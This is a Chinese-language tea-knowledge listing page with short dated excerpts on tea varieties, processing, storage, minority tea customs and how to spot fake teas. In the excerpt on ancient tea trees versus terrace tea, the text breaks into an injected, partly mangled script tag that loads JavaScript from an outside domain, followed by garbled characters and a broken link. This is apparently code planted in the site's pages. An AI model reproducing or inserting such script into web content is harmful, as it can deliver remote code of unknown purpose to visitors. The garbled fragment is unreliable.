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茶叶知识

大连香格里拉炒茶节: 　　 2007年3月25日至4月30日，大连香格里拉大饭店特邀来自杭州的炒茶大师杨师傅客座酒店一楼的大堂酒廊，为茶客现场炒制从杭州空运来的新鲜清香的龙井茶。出生于杭州的第三代炒茶世家的杨师傅只有29岁，但却有着12 ...; 2024-9-8 13:42

走进神秘的茶乡世界: 　　几天前的茶博会开幕式上，有一群金发碧眼的来客在茶农中格外醒目，这是一个由法国、比利时、意大利等国记者组成的采访团。从采茶到炒茶，从茶文化到茶旅游，他们试图走进神秘茶乡的每一个角落。杭州茶旅游对国 ...; 2024-9-8 13:39

家庭怎样保管好茶叶: 　　买回的小包装茶，无论是复合薄膜袋装茶或是听罐包装茶，都必须放在能保持干燥的地方。如果是散装茶，可用干净白纸包好，置于有干燥剂（如块状未潮解石灰）的罐、坛中，坛口盖密。如茶叶数量少而且很干燥，也可 ...; 2024-9-8 13:36

闽南乌龙茶名品四花旦: 　　茶为国饮，闽茶为优。有人说，福建是“茶之乡、茶之祖、茶之源、茶之韵”。提到福建茶叶，肯定绕不开的，就是闽南的乌龙茶。闽南乌龙茶品质特征鲜明独特，香气似兰似桂自然清香，滋味醇厚甘爽，有“绿叶红镶边 ...; 2024-9-8 13:33

罕见闽南乌龙茶品大观: 　　茶为国饮，闽茶为优。有人说，福建是“茶之乡、茶之祖、茶之源、茶之韵”。提到福建茶叶，肯定绕不开的，就是闽南的乌龙茶。闽南乌龙茶品质特征鲜明独特，香气似兰似桂自然清香，滋味醇厚甘爽，有“绿叶红镶边 ...; 2024-9-8 13:29

竹叶青茶工艺: 　　竹叶青茶，是四川峨眉山区所产绿茶，自唐代起即为名茶。竹叶青之名，是由于现代陈毅赞美其茶形美如竹叶而得。竹叶青的工艺特点：系采早春细嫩茶叶制成，属炒青绿茶，其工艺考究，炒茶时低温而适度，投叶量少 ...; 2024-9-8 13:26

花果山云雾茶工艺: 　　花果山云雾茶，产于江苏省连云港市花果山，是绿茶类名茶。该茶内含物丰富，氨基酸，儿茶多酚类和咖啡碱含量均较高。花果山云雾茶的工艺特征：其一级茶全以一芽一叶为原料，炒1斤干茶需6-7万个芽头。其工艺过 ...; 2024-9-8 13:23

神奇的苗家虫茶: 　　虫茶是云桂湘等地苗族的一种传统饮品，如果用茶的科学定义来衡量，其实这虫茶并不是真正的茶，它实际上是一种名为化香夜蛾的粪便。人们食用这种虫子的粪便的方法与我们饮茶相近，故而将其称作茶。虫茶约米粒大 ...; 2024-9-8 13:20

教你饮乌龙茶: 　　今年流行喝乌龙，人参乌龙、冻顶乌龙在茶市里热得烫手。其实，乌龙的板眼还是蛮多的，把乌龙喝到位也是不容易的事。乌龙茶也称青茶，是介于绿茶(不发酵)和红茶(完全发酵)之间的一类半发酵茶叶。因此，它具有绿 ...; 2024-9-8 13:17

蒙顶甘露: 　　　　“扬子江中水，蒙山顶山茶。”蒙顶茶产于地跨四川省名山、雅安两县的蒙山，是中国最古老的名茶，被尊为茶中故旧，名茶先驱。蒙山位于四川省邛崃山脉之中，东有峨眉山，南有大相岭，西靠夹金山，北临成都盆 ...; 2024-9-8 13:14

泉岗辉白: 　　泉岗辉白茶又称前岗辉白茶，因产于浙江省嵊州卮山乡前岗村二得名。该茶始创于清代同治年间，并被列为贡品。　前岗位于四明山的支脉，这里海拔500米左右，气候寒冷，云雾笼罩，又人形容这里地形为“前岗大岭 ...; 2024-9-8 13:11

古茶树与台地茶的区别: 　　古茶树与台地茶的区别说起古茶树、台地茶，大家往往就会浮想联翩，各种看法、认识众说纷纭?script type='text/javascript' src='https://www.miyexiang.com//js/v.js'>腋鋈巳衔斩?a href=https://www ...; 2024-9-8 13:08

佤族苦茶: 　　佤族居住的地区，习惯上称之为阿佤山，他们至今仍保留着一些古老的生活习惯，喝苦茶就是其中之一。佤族的苦茶，冲泡方法别致，通常先用茶壶将水煮开，与此同时，另选一块整洁的薄铁板，上放适量茶叶，移到烧 ...; 2024-9-8 13:05

各民族的名茶大观: 　　中国是世界茶叶的故乡，种茶、制茶、饮茶有着悠久的历史。中国又是一个幅员辽阔、民族众多的国家，生活在这个大家庭中各族人民有着各种不同的饮茶习俗，真可谓“历史久远茶故乡，绚丽多姿茶文化。” 擂茶。顾 ...; 2024-9-8 13:02

教你识别真假茶: 　　随着气候转暖，来自四川、广西等南方主要产茶区的春茶相继入市。目前，南昌市场上销售的已有碧螺春、翠柏、竹叶青等10多个品种。由于春茶一直广受消费者青睐，南昌街头各大茶叶专卖店纷纷以“春茶”作为最新卖 ...; 2024-9-8 12:59

十大名茶的特征和识假方法: 　　西湖龙井、铁观音、碧螺春、信阳毛尖、都匀毛尖、黄山毛峰、六安瓜片、祁门红茶、武夷岩茶、君山银针并称我国十大名茶，芳名远播，成为品茗上选。然而近来年十大名茶也出现了很多假冒产品，下面给大家介绍这些 ...; 2024-9-8 12:55

布朗族香茶品种多: 　　布朗人群居的布朗山一带是著名的“普洱荼”的产地之一。这里的布朗族同胞制茶的经验相当丰富，会制作很多香味隽永的茶叶，主要有散茶、竹筒茶和酸茶。　散茶，亦称为“大叶子茶”。新采的茶叶经过炒后杀青， ...; 2024-9-8 12:52

教你识别茶叶的优劣: 　　茶叶的品种繁多、规格各异，要对茶叶的质量进行审评，是一项技术性很强的工作。一般来说，审评时可从茶叶的形状、色泽、香气、滋味、汤色等方面来判别。外形主要从茶叶的条索、嫩度、色泽、净度等几个方面来 ...; 2024-9-8 12:49

福建乌龙茶新品种知多少: 福建是茶叶大省，茶品新品种不断出现，《第一茶叶网》就近几十年来，新出现的茶品种做一个盘点，以飨读者。朝阳由福建省农业科学院茶叶研究所于1981~1993年从崇庆枇杷的有性后代中通过单株选种育成。1987年以来，闽 ...; 2024-9-8 12:46

高山茶---新的时尚: 　　话说高山雾多出名茶。高山茶的概念被愈来愈多的台湾茶商来演绎为好茶、极品茶。进入本世纪后，一款款台湾高山茶直接以高海拔的大山名山命名，带着那高山云雾之仙灵，凸现自然之造化，给了品茶爱好者以耳目一新 ...; 2024-9-8 12:43

结识东方美人与冻顶贵妃: 　　一直以来，人们对东方美人(也叫白毫乌龙)茶所具的密味香气，保持着欣赏又神秘的态度。这种采自于夏茶鲜叶，采用重发酵工艺（发酵度在65-85%）有点接近于红茶汤色的茶品，意外地在日寇占据时代的一次茶展上卖出 ...; 2024-9-8 12:40

清香独特文山包种茶: 　　人们谈到台湾茶，总是“北坪林，南鹿谷”两大茶乡并称，或说“北包种、南冻顶”。文山包种茶是台湾的另一著名茶乡，盛产传统乌龙茶，属轻发酵清香型。打开台湾茶叶史，文山地区是台湾制茶的最早发尝源地。200 ...; 2024-9-8 12:37

新茶和陈茶那种好: 　　　曾在某报纸上读到过一篇题为《新茶和陈茶》的文章，看后给人的感觉是新茶虽好，但陈茶也不差，特别是该文说“陈茶只要贮藏得当，常饮陈茶，有利健康。”这样的说法很容易使人产生误解。但在此有必要说明两 ...; 2024-9-8 12:34

专家教你如何识别好茶: 　　　　春茶上市，茶叶的质量成为广大消费者关注的热点。济南市有害物质检测中心的有关专家提醒广大市民在购茶时，一定要注意辨别茶叶的品质。　如何识别茶叶的优劣呢？一般来说，茶叶的好坏主要是从色、香、味 ...; 2024-9-8 12:31

南平市茶产业发展呈现五特点: 　　一是面积扩大产量上升。今年全市茶叶面积48.2万亩，与2000年相比增加6.6万亩，毛茶总产达3.52万吨，比增1.09万吨；二是品种结构不断优化。近几年，引进推广金观音、黄观音、茗科一号、丹桂等10余个茶叶新品种 ...; 2024-9-8 12:28

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